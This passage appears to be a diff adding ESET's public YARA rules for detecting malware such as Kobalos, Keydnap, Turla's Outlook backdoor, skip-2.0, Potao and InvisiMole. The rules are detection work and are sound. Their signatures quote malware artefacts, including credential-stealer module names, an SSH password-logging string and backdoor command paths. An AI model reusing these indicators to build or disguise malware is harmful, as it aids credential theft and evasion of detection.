+        PotaoDecoy or PotaoDll or PotaoUSB or PotaoSecondStage
+}
+
+// Operation Windigo yara rules
+// For feedback or questions contact us at: windigo@eset.sk
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2014, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+rule onimiki
+{
+  meta:
+    description = "Linux/Onimiki malicious DNS server"
+    malware = "Linux/Onimiki"
+    operation = "Windigo"
+    author = "Olivier Bilodeau <bilodeau@eset.com>"
+    created = "2014-02-06"
+    reference = "http://www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf"
+    contact = "windigo@eset.sk"
+    source = "https://github.com/eset/malware-ioc/"
+    license = "BSD 2-Clause"
+
+  strings:
+    // code from offset: 0x46CBCD
+    $a1 = {43 0F B6 74 2A 0E 43 0F  B6 0C 2A 8D 7C 3D 00 8D}
+    $a2 = {74 35 00 8D 4C 0D 00 89  F8 41 F7 E3 89 F8 29 D0}
+    $a3 = {D1 E8 01 C2 89 F0 C1 EA  04 44 8D 0C 92 46 8D 0C}
+    $a4 = {8A 41 F7 E3 89 F0 44 29  CF 29 D0 D1 E8 01 C2 89}
+    $a5 = {C8 C1 EA 04 44 8D 04 92  46 8D 04 82 41 F7 E3 89}
+    $a6 = {C8 44 29 C6 29 D0 D1 E8  01 C2 C1 EA 04 8D 04 92}
+    $a7 = {8D 04 82 29 C1 42 0F B6  04 21 42 88 84 14 C0 01}
+    $a8 = {00 00 42 0F B6 04 27 43  88 04 32 42 0F B6 04 26}
+    $a9 = {42 88 84 14 A0 01 00 00  49 83 C2 01 49 83 FA 07}
+
+  condition:
+    all of them
+}
+
+
+// Keydnap packer yara rule
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2016, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+
+rule keydnap_backdoor
+{
+    meta:
+        description = "Unpacked OSX/Keydnap backdoor"
+        author = "Marc-Etienne M. Leveille"
+        date = "2016-07-06"
+        reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials"
+        version = "1"
+
+    strings:
+        $ = "api/osx/get_task"
+        $ = "api/osx/cmd_executed"
+        $ = "Loader-"
+        $ = "u2RLhh+!LGd9p8!ZtuKcN"
+        $ = "com.apple.iCloud.sync.daemon"
+    condition:
+        2 of them
+}
+rule keydnap_downloader
+{
+    meta:
+        description = "OSX/Keydnap Downloader"
+        author = "Marc-Etienne M. Leveille"
+        date = "2016-07-06"
+        reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials"
+        version = "1"
+
+    strings:
+        $ = "icloudsyncd"
+        $ = "killall Terminal"
+        $ = "open %s"
+    
+    condition:
+        2 of them
+}
+
+rule keydnap_backdoor_packer
+{
+    meta:
+        description = "OSX/Keydnap packed backdoor"
+        author = "Marc-Etienne M. Leveille"
+        date = "2016-07-06"
+        reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials"
+        version = "1"
+
+    strings:
+        $upx_string = "This file is packed with the UPX"
+        $packer_magic = "ASS7"
+        $upx_magic = "UPX!"
+        
+    condition:
+        $upx_string and $packer_magic and not $upx_magic
+}
+
+
+rule kobalos
+{
+    meta:
+        description = "Kobalos malware"
+        author = "Marc-Etienne M.Léveillé"
+        date = "2020-11-02"
+        reference = "http://www.welivesecurity.com"
+        reference2 = "https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $encrypted_strings_sizes = {
+            05 00 00 00 09 00 00 00  04 00 00 00 06 00 00 00
+            08 00 00 00 08 00 00 00  02 00 00 00 02 00 00 00
+            01 00 00 00 01 00 00 00  05 00 00 00 07 00 00 00
+            05 00 00 00 05 00 00 00  05 00 00 00 0A 00 00 00
+        }
+        $password_md5_digest = { 3ADD48192654BD558A4A4CED9C255C4C }
+        $rsa_512_mod_header = { 10 11 02 00 09 02 00 }
+        $strings_rc4_key = { AE0E05090F3AC2B50B1BC6E91D2FE3CE }
+
+    condition:
+        any of them
+}
+
+rule kobalos_ssh_credential_stealer {
+    meta:
+        description = "Kobalos SSH credential stealer seen in OpenSSH client"
+        author = "Marc-Etienne M.Léveillé"
+        date = "2020-11-02"
+        reference = "http://www.welivesecurity.com"
+        reference2 = "https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $ = "user: %.128s host: %.128s port %05d user: %.128s password: %.128s"
+
+    condition:
+        any of them
+}
+
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2018, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+import "pe"
+
+private rule not_ms {
+    condition:
+        not for any i in (0..pe.number_of_signatures - 1):
+        (
+            pe.signatures[i].issuer contains "Microsoft Corporation"
+        )
+}
+
+rule turla_outlook_gen {
+    meta:
+        author      = "ESET Research"
+        date        = "05-09-2018"
+        description = "Turla Outlook malware"
+        version     = 2
+        reference   = "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        contact = "github@eset.com"
+        license = "BSD 2-Clause"    
+    strings:
+        $s1 = "Outlook Express" ascii wide
+        $s2 = "Outlook watchdog" ascii wide
+        $s3 = "Software\\RIT\\The Bat!" ascii wide
+        $s4 = "Mail Event Window" ascii wide
+        $s5 = "Software\\Mozilla\\Mozilla Thunderbird\\Profiles" ascii wide
+        $s6 = "%%PDF-1.4\n%%%c%c\n" ascii wide
+        $s7 = "%Y-%m-%dT%H:%M:%S+0000" ascii wide
+        $s8 = "rctrl_renwnd32" ascii wide
+        $s9 = "NetUIHWND" ascii wide
+        $s10 = "homePostalAddress" ascii wide
+        $s11 = "/EXPORT;OVERRIDE;START=-%d;END=-%d;FOLDER=%s;OUT=" ascii wide
+        $s12 = "Re:|FWD:|AW:|FYI:|NT|QUE:" ascii wide
+        $s13 = "IPM.Note" ascii wide
+        $s14 = "MAPILogonEx" ascii wide
+        $s15 = "pipe\\The Bat! %d CmdLine" ascii wide
+        $s16 = "PowerShellRunner.dll" ascii wide
+        $s17 = "cmd container" ascii wide
+        $s18 = "mapid.tlb" ascii wide nocase
+        $s19 = "Content-Type: F)*+" ascii wide fullword
+    condition:
+        not_ms and 5 of them
+}
+
+rule turla_outlook_filenames {
+    meta:
+        author      = "ESET Research"
+        date        = "22-08-2018"
+        description = "Turla Outlook filenames"
+        reference   = "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        contact = "github@eset.com"
+        license = "BSD 2-Clause"   
+    strings:
+        $s1 = "mapid.tlb"
+        $s2 = "msmime.dll"
+        $s3 = "scawrdot.db"
+    condition:
+        any of them
+}
+
+rule turla_outlook_log {
+    meta:
+        author      = "ESET Research"
+        date        = "22-08-2018"
+        description = "First bytes of the encrypted Turla Outlook logs"
+        reference   = "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        contact = "github@eset.com"
+        license = "BSD 2-Clause"   
+    strings:
+        //Log begin: [...] TVer
+        $s1 = {01 87 C9 75 C8 69 98 AC E0 C9 7B [21] EB BB 60 BB 5A}
+    condition:
+        $s1 at 0
+}
+
+rule turla_outlook_exports {
+    meta:
+        author      = "ESET Research"
+        date        = "22-08-2018"
+        description = "Export names of Turla Outlook Malware"
+        reference   = "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        contact = "github@eset.com"
+        license = "BSD 2-Clause"  
+    condition:
+        (pe.exports("install") or pe.exports("Install")) and
+        pe.exports("TBP_Initialize") and
+        pe.exports("TBP_Finalize") and
+        pe.exports("TBP_GetName") and
+        pe.exports("DllRegisterServer") and
+        pe.exports("DllGetClassObject")
+}
+
+rule turla_outlook_pdf {
+    meta:
+        author      = "ESET Research"
+        date        = "22-08-2018"
+        description = "Detect PDF documents generated by Turla Outlook malware"
+        reference   = "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        contact = "github@eset.com"
+        license = "BSD 2-Clause"  
+    strings:
+        $s1 = "Adobe PDF Library 9.0" ascii wide nocase
+        $s2 = "Acrobat PDFMaker 9.0"  ascii wide nocase
+        $s3 = {FF D8 FF E0 00 10 4A 46 49 46}
+        $s4 = {00 3F 00 FD FC A2 8A 28 03 FF D9}
+        $s5 = "W5M0MpCehiHzreSzNTczkc9d" ascii wide nocase
+        $s6 = "PDF-1.4" ascii wide nocase
+    condition:
+        5 of them
+}
+
+rule outlook_misty1 {
+    meta:
+        author      = "ESET Research"
+        date        = "22-08-2018"
+        description = "Detects the Turla MISTY1 implementation"             
+        reference   = "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        contact = "github@eset.com"
+        license = "BSD 2-Clause"  
+    strings:
+        //and     edi, 1FFh
+        $o1 = {81 E7 FF 01 00 00}
+        //shl     ecx, 9
+        $s1 = {C1 E1 09}
+        //xor     ax, si
+        $s2 = {66 33 C6}
+        //shr     eax, 7
+        $s3 = {C1 E8 07}
+        $o2 = {8B 11 8D 04 1F 50 03 D3 8D 4D C4}
+    condition:
+        $o2 and for all i in (1..#o1):
+            (for all of ($s*) : ($ in (@o1[i] -500 ..@o1[i] + 500)))
+}
+
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2019, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+rule skip20_sqllang_hook
+{
+    meta:
+    author      = "Mathieu Tartare <mathieu.tartare@eset.com>"
+    date        = "21-10-2019"
+    description = "YARA rule to detect if a sqllang.dll version is targeted by skip-2.0. Each byte pattern corresponds to a function hooked by skip-2.0. If $1_0 or $1_1 match, it is probably targeted as it corresponds to the hook responsible for bypassing the authentication."
+    reference   = "https://www.welivesecurity.com/" 
+    source = "https://github.com/eset/malware-ioc/"
+    contact = "github@eset.com"
+    license = "BSD 2-Clause"
+
+    strings:
+        $1_0  = {ff f3 55 56 57 41 56 48 81 ec c0 01 00 00 48 c7 44 24 38 fe ff ff ff}
+        $1_1  = {48 8b c3 4c 8d 9c 24 a0 00 00 00 49 8b 5b 10 49 8b 6b 18 49 8b 73 20 49 8b 7b 28 49 8b e3 41 5e c3 90 90 90 90 90 90 90 ff 25}
+        $2_0  = {ff f3 55 57 41 55 48 83 ec 58 65 48 8b 04 25 30 00 00 00}
+        $2_1  = {48 8b 5c 24 30 48 8b 74 24 38 48 83 c4 20 5f c3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ff 25}
+        $3_0  = {89 4c 24 08 4c 8b dc 49 89 53 10 4d 89 43 18 4d 89 4b 20 57 48 81 ec 90 00 00 00}
+        $3_1  = {4c 8d 9c 24 20 01 00 00 49 8b 5b 40 49 8b 73 48 49 8b e3 41 5f 41 5e 41 5c 5f 5d c3}
+        $4_0  = {ff f5 41 56 41 57 48 81 ec 90 00 00 00 48 8d 6c 24 50 48 c7 45 28 fe ff ff ff 48 89 5d 60 48 89 75 68 48 89 7d 70 4c 89 65 78}
+        $4_1  = {8b c1 48 8b 8c 24 30 02 00 00 48 33 cc}
+        $5_0  = {48 8b c4 57 41 54 41 55 41 56 41 57 48 81 ec 90 03 00 00 48 c7 80 68 fd ff ff fe ff ff ff 48 89 58 18 48 89 70 20}
+        $5_1  = {48 c7 80 68 fd ff ff fe ff ff ff 48 89 58 18 48 89 70 20}
+        $6_0  = {44 88 4c 24 20 44 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 53 56 57 41 54 41 55 41 56 41 57 48 81 ec 80 01 00 00}
+        $6_1  = {48 89 4c 24 08 53 56 57 41 54 41 55 41 56 41 57 48 81 ec 80 01 00 00 48 c7 84 24 e8 00 00 00 fe ff ff ff}
+        $7_0  = {08 48 89 74 24 10 57 48 83 ec 20 49 63 d8 48 8b f2 48 8b f9 45 85 c0}
+        $7_1  = {20 49 63 d8 48 8b f2 48 8b f9 45 85}
+        $8_0  = {48 89 01 48 8b c2 48 c7 41 08 04 00 00 00 c3 90 90 90 90 90 90 90 90 90 90 89 91 40 [11300-] ff f5 56 57 41 54 41 55 41 56 41 57 48 8b ec 48 83 ec 70}
+        $9_0  = {48 89 01 48 8b c2 48 c7 41 08 04 00 00 00 c3 90 90 90 90 90 90 90 90 90 90 89 91 40 [40050-] 48 8b c4 55 41 54 41 55 41 56 41 57 48 8b ec 48 83 ec 60}
+        $10_0 = {41 56 48 83 ec 50 48 c7 44 24 20 fe ff ff ff 48 89 5c 24 60 48 89 6c 24 68 48 89 74 24 70 48 89 7c 24 78 48 8b d9 33 ed 8b f5 89 6c}
+        $10_1 = {48 8b 42 18 4c 89 90 f0 00 00 00 44 89 90 f8 00 00 00 c7 80 fc 00 00 00 1b 00 00 00 48 8b c2 c3 90 90 90}
+        $11_0 = {48 89 01 48 8b c2 48 c7 41 08 04 00 00 00 c3 90 90 90 90 90 90 90 90 90 90 89 91 40 [40700-] 48 8b c4 55 41 54 41 55 41 56 41 57 48 8b ec 48 83 ec 60}
+        $12_0 = {48 89 01 48 8b c2 48 c7 41 08 04 00 00 00 c3 90 90 90 90 90 90 90 90 90 90 89 91 40 [10650-] 48 8b c4 55 41 54 41 55 41 56 41 57 48 8b ec 48 83 ec 60}
+        $13_0 = {48 89 01 48 8b c2 48 c7 41 08 04 00 00 00 c3 90 90 90 90 90 90 90 90 90 90 89 91 40 [41850-] ff f5 56 57 41 54 41 55 41 56 41 57 48 8b ec 48 83 ec 70}
+        $14_0 = {48 89 01 48 8b c2 48 c7 41 08 04 00 00 00 c3 90 90 90 90 90 90 90 90 90 90 89 91 40 [42600-] ff f7 48 83 ec 50 48 c7 44 24 20 fe ff ff ff}
+
+    condition:
+        any of them
+}
+
+
+// Operation Potao yara rules
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2015, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+private rule PotaoDecoy
+{
+    strings:
+        $mz = { 4d 5a }
+        $str1 = "eroqw11"
+        $str2 = "2sfsdf"
+        $str3 = "RtlDecompressBuffer"
+        $wiki_str = "spanned more than 100 years and ruined three consecutive" wide
+
+        $old_ver1 = {53 68 65 6C 6C 33 32 2E 64 6C 6C 00 64 61 66 73 72 00 00 00 64 61 66 73 72 00 00 00 64 6F 63 (00 | 78)}
+        $old_ver2 = {6F 70 65 6E 00 00 00 00 64 6F 63 00 64 61 66 73 72 00 00 00 53 68 65 6C 6C 33 32 2E 64 6C 6C 00}       
+    condition:
+        ($mz at 0) and ( (all of ($str*)) or any of ($old_ver*) or $wiki_str )
+}
+private rule PotaoDll
+{
+    strings:
+        $mz = { 4d 5a }
+        
+        $dllstr1 = "?AVCncBuffer@@"
+        $dllstr2 = "?AVCncRequest@@"
+        $dllstr3 = "Petrozavodskaya, 11, 9"
+        $dllstr4 = "_Scan@0"
+        $dllstr5 = "\x00/sync/document/"
+        $dllstr6 = "\\temp.temp"
+        
+        $dllname1 = "node69MainModule.dll"
+        $dllname2 = "node69-main.dll"
+        $dllname3 = "node69MainModuleD.dll"
+        $dllname4 = "task-diskscanner.dll"
+        $dllname5 = "\x00Screen.dll"
+        $dllname6 = "Poker2.dll"        
+        $dllname7 = "PasswordStealer.dll"
+        $dllname8 = "KeyLog2Runner.dll" 
+        $dllname9 = "GetAllSystemInfo.dll"          
+        $dllname10 = "FilePathStealer.dll"          
+    condition:
+        ($mz at 0) and (any of ($dllstr*) and any of ($dllname*))
+}
+private rule PotaoUSB
+{
+    strings:
+        $mz = { 4d 5a }
+        
+        $binary1 = { 33 C0 8B C8 83 E1 03 BA ?? ?? ?? 00 2B D1 8A 0A 32 88 ?? ?? ?? 00 2A C8 FE C9 88 88 ?? ?? ?? 00 40 3D ?? ?? 00 00 7C DA C3 }
+        $binary2 = { 55 8B EC 51 56 C7 45 FC 00 00 00 00 EB 09 8B 45 FC 83 C0 01 89 45 FC 81 7D FC ?? ?? 00 00 7D 3D 8B 4D FC 0F BE 89 ?? ?? ?? 00 8B 45 FC 33 D2 BE 04 00 00 00 F7 F6 B8 03 00 00 00 2B C2 0F BE 90 ?? ?? ?? 00 33 CA 2B 4D FC 83 E9 01 81 E1 FF 00 00 00 8B 45 FC 88 88 ?? ?? ?? 00 EB B1 5E 8B E5 5D C3}
+    condition:
+        ($mz at 0) and any of ($binary*)
+}
+private rule PotaoSecondStage
+{
+    strings:
+        $mz = { 4d 5a }
+        // hash of CryptBinaryToStringA and CryptStringToBinaryA
+        $binary1 = {51 7A BB 85 [10-180] E8 47 D2 A8}
+        // old hash of CryptBinaryToStringA and CryptStringToBinaryA
+        $binary2 = {5F 21 63 DD [10-30] EC FD 33 02}
+        $binary3 = {CA 77 67 57 [10-30] BA 08 20 7A}
+        
+        $str1 = "?AVCrypt32Import@@"
+        $str2 = "%.5llx"
+    condition:
+        ($mz at 0) and any of ($binary*) and any of ($str*)
+}
+rule Potao
+{
+    meta:
+        Author      = "Anton Cherepanov"
+        Date        = "2015/07/29"
+        Description = "Operation Potao"
+        Reference   = "http://www.welivesecurity.com/wp-content/uploads/2015/07/Operation-Potao-Express_final_v2.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "threatintel@eset.com"
+        License = "BSD 2-Clause"
+    condition:
+        PotaoDecoy or PotaoDll or PotaoUSB or PotaoSecondStage
+}
+
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These YARA rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2021, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+import "pe"
+
+private rule InvisiMole_Blob {
+    meta:
+        description = "Detects InvisiMole blobs by magic values"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $magic_old_32 = {F9 FF D0 DE}
+        $magic_old_64 = {64 FF D0 DE}
+        $magic_new_32 = {86 DA 11 CE}
+        $magic_new_64 = {64 DA 11 CE}
+
+    condition:
+        ($magic_old_32 at 0) or ($magic_old_64 at 0) or ($magic_new_32 at 0) or ($magic_new_64 at 0)
+}
+
+rule apt_Windows_InvisiMole_Logs {
+    meta:
+        description = "Detects log files with collected created by InvisiMole's RC2CL backdoor"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    condition:
+        uint32(0) == 0x08F1CAA1 or
+        uint32(0) == 0x08F1CAA2 or
+        uint32(0) == 0x08F1CCC0 or
+        uint32(0) == 0x08F2AFC0 or
+        uint32(0) == 0x083AE4DF or
+        uint32(0) == 0x18F2CBB1 or
+        uint32(0) == 0x1900ABBA or
+        uint32(0) == 0x24F2CEA1 or
+        uint32(0) == 0xDA012193 or
+        uint32(0) == 0xDA018993 or
+        uint32(0) == 0xDA018995 or
+        uint32(0) == 0xDD018991
+}
+
+rule apt_Windows_InvisiMole_SFX_Dropper {
+
+    meta:
+        description = "Detects trojanized InvisiMole files: patched RAR SFX droppers with added InvisiMole blobs (config encrypted XOR 2A at the end of a file)"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $encrypted_config = {5F 59 4F 58 19 18 04 4E 46 46 2A 5D 59 5A 58 43 44 5E 4C 7D 2A 0F 2A 59 2A 78 2A 4B 2A 58 2A 0E 2A 6F 2A 72 2A 4B 2A 0F 2A 4E 2A 04 2A 0F 2A 4E 2A 76 2A 0F 2A 79 2A 2A 2A 79 42 4F 46 46 6F 52 4F 49 5F 5E 4F 7D 2A 79 42 4F 46 46 19 18 04 4E 46 46 2A 7C 43 58 5E 5F 4B 46 6B 46 46 45 49 2A 66 45 4B 4E 66 43 48 58 4B 58 53 6B}
+
+    condition:
+        uint16(0) == 0x5A4D and $encrypted_config
+}
+
+rule apt_Windows_InvisiMole_CPL_Loader {
+    meta:
+        description = "CPL loader"
+        author = "ESET Research"
+        date = "2021-05-17"
